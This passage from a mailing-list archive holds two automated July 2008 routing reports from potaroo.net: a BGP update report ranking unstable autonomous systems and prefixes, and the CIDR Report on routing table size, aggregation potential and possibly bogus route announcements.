potaroo.net (cidr-report at potaroo.net) Date: Fri, 4 Jul 2008 22:00:04 +1000 (EST) Subject: BGP Update Report Message-ID: <200807041200.m64C04Xa018341@wattle.apnic.net> BGP Update Report Interval: 02-Jun-08 -to- 03-Jul-08 (32 days) Observation Point: BGP Peering with AS2.0 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS4766 297296 3.7% 227.3 -- KIXS-AS-KR Korea Telecom 2 - AS4538 231223 2.9% 46.5 -- ERX-CERNET-BKB China Education and Research Network Center 3 - AS8866 84379 1.0% 263.7 -- BTC-AS Bulgarian Telecommunication Company Plc. 4 - AS9583 79835 1.0% 65.5 -- SIFY-AS-IN Sify Limited 5 - AS5691 73249 0.9% 5634.5 -- MITRE-AS-5 - The MITRE Corporation 6 - AS17974 65331 0.8% 89.1 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 7 - AS6140 56377 0.7% 118.4 -- IMPSAT-USA - ImpSat USA, Inc. 8 - AS17488 50987 0.6% 39.9 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 9 - AS13620 40124 0.5% 8024.8 -- ASN-ELAN - Elan Communications, Inc. 10 - AS25994 37065 0.5% 261.0 -- NPG-001 - NPG Cable, INC 11 - AS9498 36863 0.5% 30.1 -- BBIL-AP BHARTI BT INTERNET LTD. 12 - AS18231 36126 0.5% 150.5 -- EXATT-AS-AP IOL NETCOM LTD 13 - AS577 32003 0.4% 70.6 -- BACOM - Bell Canada 14 - AS2386 30829 0.4% 20.3 -- INS-AS - AT&T Data Communications Services 15 - AS6471 30654 0.4% 73.9 -- ENTEL CHILE S.A. 16 - AS20115 30000 0.4% 28.5 -- CHARTER-NET-HKY-NC - Charter Communications 17 - AS8151 29212 0.4% 22.5 -- Uninet S.A. de C.V. 18 - AS21565 27633 0.3% 151.0 -- HTCC - HTC Communications, LLC 19 - AS209 27530 0.3% 8.9 -- ASN-QWEST - Qwest 20 - AS42787 27012 0.3% 9004.0 -- MMIP-AS MultiMedia IP Ltd. TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS42787 27012 0.3% 9004.0 -- MMIP-AS MultiMedia IP Ltd. 2 - AS13620 40124 0.5% 8024.8 -- ASN-ELAN - Elan Communications, Inc. 3 - AS29910 6921 0.1% 6921.0 -- IACP - INTL. ASSN OF CHIEF OF POLICEI 4 - AS5691 73249 0.9% 5634.5 -- MITRE-AS-5 - The MITRE Corporation 5 - AS38513 4386 0.1% 4386.0 -- LINTASARTA-AS-ID PT Aplikanusa Lintasarta 6 - AS9988 7843 0.1% 3921.5 -- MPT-AP Myanma Post and Telecommunication 7 - AS23082 19511 0.2% 3902.2 -- MPHI - Michigan Public Health Institute 8 - AS25250 11097 0.1% 3699.0 -- GAMTEL-AS 9 - AS40831 7375 0.1% 3687.5 -- ROBERTSDYBDAHL - Roberts & Dybdahl Inc. 10 - AS40256 11604 0.1% 2901.0 -- ACS-HCMS-ASN - Affiliated Computer Services, Inc. 11 - AS30929 2649 0.0% 2649.0 -- HUTCB Hidrotechnical Faculty - Technical University 12 - AS30287 2568 0.0% 2568.0 -- ALON-USA - ALON USA, LP 13 - AS38069 21474 0.3% 2386.0 -- WARIDTEL-BD-AS-AP Warid Telecom 14 - AS32133 2377 0.0% 2377.0 -- JOHNSTONE-SUPPLY - Atwater Supply dba Johnstone Supply 15 - AS39105 2291 0.0% 2291.0 -- CLASS-AS SC Class Computers And Service SRL 16 - AS31003 15218 0.2% 2174.0 -- IRON-MOUNTAIN-UK-AS Iron Mountain UK Ltd 17 - AS25799 1705 0.0% 1705.0 -- HOLMAN - Holman Enterprises 18 - AS9747 13472 0.2% 1684.0 -- EZINTERNET-AS-AP EZInternet Pty Ltd 19 - AS35155 1671 0.0% 1671.0 -- VERBASOFT-AS Verbasoft ASN 20 - AS17834 1526 0.0% 1526.0 -- KYOBOAUTO-AS-KR Kyobo Auto Insurance CO.,LTD TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 192.12.120.0/24 73113 0.8% AS5691 -- MITRE-AS-5 - The MITRE Corporation 2 - 213.91.175.0/24 41565 0.5% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. 3 - 83.228.71.0/24 34679 0.4% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. AS8953 -- ASN-ORANGE-ROMANIA Orange Romania Autonomous System Number 4 - 24.121.123.0/24 32800 0.4% AS25994 -- NPG-001 - NPG Cable, INC 5 - 193.33.184.0/23 26936 0.3% AS42787 -- MMIP-AS MultiMedia IP Ltd. 6 - 221.128.192.0/18 25555 0.3% AS18231 -- EXATT-AS-AP IOL NETCOM LTD 7 - 221.134.222.0/24 19569 0.2% AS9583 -- SIFY-AS-IN Sify Limited 8 - 203.63.26.0/24 13451 0.2% AS9747 -- EZINTERNET-AS-AP EZInternet Pty Ltd 9 - 193.239.114.0/24 12847 0.1% AS31003 -- IRON-MOUNTAIN-UK-AS Iron Mountain UK Ltd 10 - 210.214.128.0/23 10979 0.1% AS9583 -- SIFY-AS-IN Sify Limited 11 - 221.135.230.0/23 10382 0.1% AS9583 -- SIFY-AS-IN Sify Limited 12 - 84.23.102.0/24 9990 0.1% AS24731 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) AS34400 -- ASN-ETTIHADETISALAT Etihad Etisalat 13 - 81.21.104.0/24 9757 0.1% AS31065 -- MCIT 14 - 210.214.88.0/23 9417 0.1% AS9583 -- SIFY-AS-IN Sify Limited 15 - 64.68.1.0/24 8059 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 16 - 64.68.0.0/24 8056 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 17 - 64.68.9.0/24 8052 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 18 - 64.68.3.0/24 8027 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 19 - 216.151.192.0/19 7930 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 20 - 192.166.49.0/24 7908 0.1% AS3320 -- DTAG Deutsche Telekom AG Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Jul 4 07:00:02 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 4 Jul 2008 22:00:02 +1000 (EST) Subject: The Cidr Report Message-ID: <200807041200.m64C0278018336@wattle.apnic.net> This report has been generated at Fri Jul 4 21:15:06 2008 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 27-06-08 271147 166990 28-06-08 272528 167702 29-06-08 272895 168217 30-06-08 273019 166275 01-07-08 273032 167279 02-07-08 273379 167734 03-07-08 273024 168367 04-07-08 272952 168653 AS Summary 28745 Number of ASes in routing system 12143 Number of ASes announcing only one prefix 4968 Largest number of prefixes announced by an AS AS4538 : ERX-CERNET-BKB China Education and Research Network Center 88347392 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 04Jul08 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 273131 168681 104450 38.2% All ASes AS4538 4968 881 4087 82.3% ERX-CERNET-BKB China Education and Research Network Center AS209 3023 663 2360 78.1% ASN-QWEST - Qwest AS6389 2671 317 2354 88.1% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4755 1673 211 1462 87.4% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS18566 1045 40 1005 96.2% COVAD - Covad Communications Co. AS4323 1465 546 919 62.7% TWTC - tw telecom holdings, inc. AS22773 955 65 890 93.2% CCINET-2 - Cox Communications Inc. AS17488 1188 333 855 72.0% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1284 530 754 58.7% Uninet S.A. de C.V. AS11492 1220 468 752 61.6% CABLEONE - CABLE ONE AS19262 921 175 746 81.0% VZGNI-TRANSIT - Verizon Internet Services Inc. AS1785 1084 368 716 66.1% AS-PAETEC-NET - PaeTec Communications, Inc. AS9498 1090 456 634 58.2% BBIL-AP BHARTI BT INTERNET LTD. AS2386 1482 889 593 40.0% INS-AS - AT&T Data Communications Services AS18101 691 135 556 80.5% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS6478 985 462 523 53.1% ATT-INTERNET3 - AT&T WorldNet Services AS855 598 108 490 81.9% CANET-ASN-4 - Bell Aliant AS4766 872 382 490 56.2% KIXS-AS-KR Korea Telecom AS17676 525 83 442 84.2% GIGAINFRA BB TECHNOLOGY Corp. AS22047 565 128 437 77.3% VTR BANDA ANCHA S.A. AS6197 945 515 430 45.5% BATI-ATL - BellSouth Network Solutions, Inc AS4134 828 402 426 51.4% CHINANET-BACKBONE No.31,Jin-rong Street AS7018 1418 994 424 29.9% ATT-INTERNET4 - AT&T WorldNet Services AS6298 1304 886 418 32.1% COX-PHX - Cox Communications Inc. AS9443 496 83 413 83.3% INTERNETPRIMUS-AS-AP Primus Telecommunications AS4668 681 273 408 59.9% LGNET-AS-KR LG CNS AS4780 709 317 392 55.3% SEEDNET Digital United Inc. AS3602 457 80 377 82.5% AS3602-RTI - Rogers Telecom Inc. AS4804 453 78 375 82.8% MPX-AS Microplex PTY LTD AS4808 528 153 375 71.0% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network Total 36124 11021 25103 69.5% Top 30 total Possible Bogus Routes 24.38.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.48.0.0/13 AS19548 ADELPHIA-AS2 - Road Runner HoldCo LLC 24.48.244.0/23 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.51.159.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.23.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.224.0/19 AS20001 ROADRUNNER-WEST - Road Runner HoldCo LLC 24.75.160.0/19 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.75.192.0/18 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.142.40.0/21 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.142.160.0/19 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.109.128.0/19 AS29134 IGNUM-AS Ignum s.r.o. 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.141.42.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.115.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 63.248.0.0/16 AS3356 LEVEL3 Level 3 Communications 64.7.112.0/21 AS6453 GLOBEINTERNET TATA Communications 64.7.120.0/21 AS6453 GLOBEINTERNET TATA Communications 64.50.128.0/18 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.64.159.0/24 AS32004 BIG-ASN - Business Information Group, Inc. 64.144.0.0/15 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.188.0.0/16 AS3356 LEVEL3 Level 3 Communications 65.36.8.0/24 AS5696 65.36.9.0/24 AS5696 65.36.33.0/24 AS5696 65.36.52.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.64.96.0/20 AS3790 RADIGRAFICA COSTARRICENSE 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.199.32.0/20 AS10397 WISP-AS - Wispnet, LLC 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.219.192.0/18 AS5048 FIBER - FIBERNET Corp. 67.20.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.64.0.0/13 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.168.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.232.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.0.0/17 AS3043 AMPHIB-AS - Amphibian Media Corporation 69.164.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.165.102.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 70.34.0.0/16 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.11.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 87.76.0.0/16 AS3301 TELIANET-SWEDEN TeliaNet Sweden 95.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 95.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 151.135.0.0/16 AS4768 CLIX-NZ TelstraClear Ltd 159.3.211.0/24 AS2687 ASATTCA AT&T Global Network Services - AP 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 166.63.0.0/16 AS33775 NITEL-AS 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 188.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS12582 TSF-DATANET-NGD-AS TSF MPLS VPN Services 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.36.0/24 AS5713 SAIX-NET 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS5713 SAIX-NET 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.47.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.67.0/24 AS21775 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.73.0/24 AS4765 WORLDNET-AS World Net & Services Co., Ltd. 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.153.144.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 193.200.114.0/23 AS31530 SERVERCREW-AS Servercrew LTD Autonomes System 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.201.98.0/24 AS29571 CITelecom-AS 196.216.132.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 196.216.134.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.80.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.96.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.240.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.144.96.0/20 AS12185 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.0.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.128.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.156.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.0.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.16.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.80.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.207.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.164.100.0/24 AS18101 RIL-IDC Reliance Infocom Ltd Internet Data Centre, 202.176.228.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.176.232.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.112.97.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.136.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.138.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.142.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.143.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.160.110.0/23 AS7643 VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.16.120.0/23 AS12077 204.16.122.0/23 AS12077 204.19.14.0/23 AS577 BACOM - Bell Canada 204.48.58.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.48.60.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 206.162.224.0/19 AS23464 ILCSNET - Interlink Computer Services 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 206.220.240.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.64/26 AS22335 MREN - Metropolitan Research and Education Network 206.220.240.128/25 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.160/30 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.220/32 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.241.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 207.98.192.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.209.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.223.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.191.128.0/19 AS10887 BPSI-AS - BPSI Internet Services 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 CCINET-2 - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.38.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 208.38.192.0/21 AS14237 BEAMSPEED1 - Beamspeed 208.38.202.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.203.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 209.54.93.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.111.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.140.224.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.234.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.235.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.236.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.237.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.238.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.239.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.16.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.145.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.59.0.0/17 AS3356 LEVEL3 Level 3 Communications 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.162.96.0/19 AS7393 CYBERCON - CYBERCON, INC. 216.172.198.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.172.199.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.176.16.0/22 AS7132 SBIS-AS - AT&T Internet Services 216.176.22.0/24 AS20299 Newcom Limited 216.210.86.0/24 AS577 BACOM - Bell Canada 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From ross at kallisti.us Fri Jul 4 09:38:03 2008 From: ross at 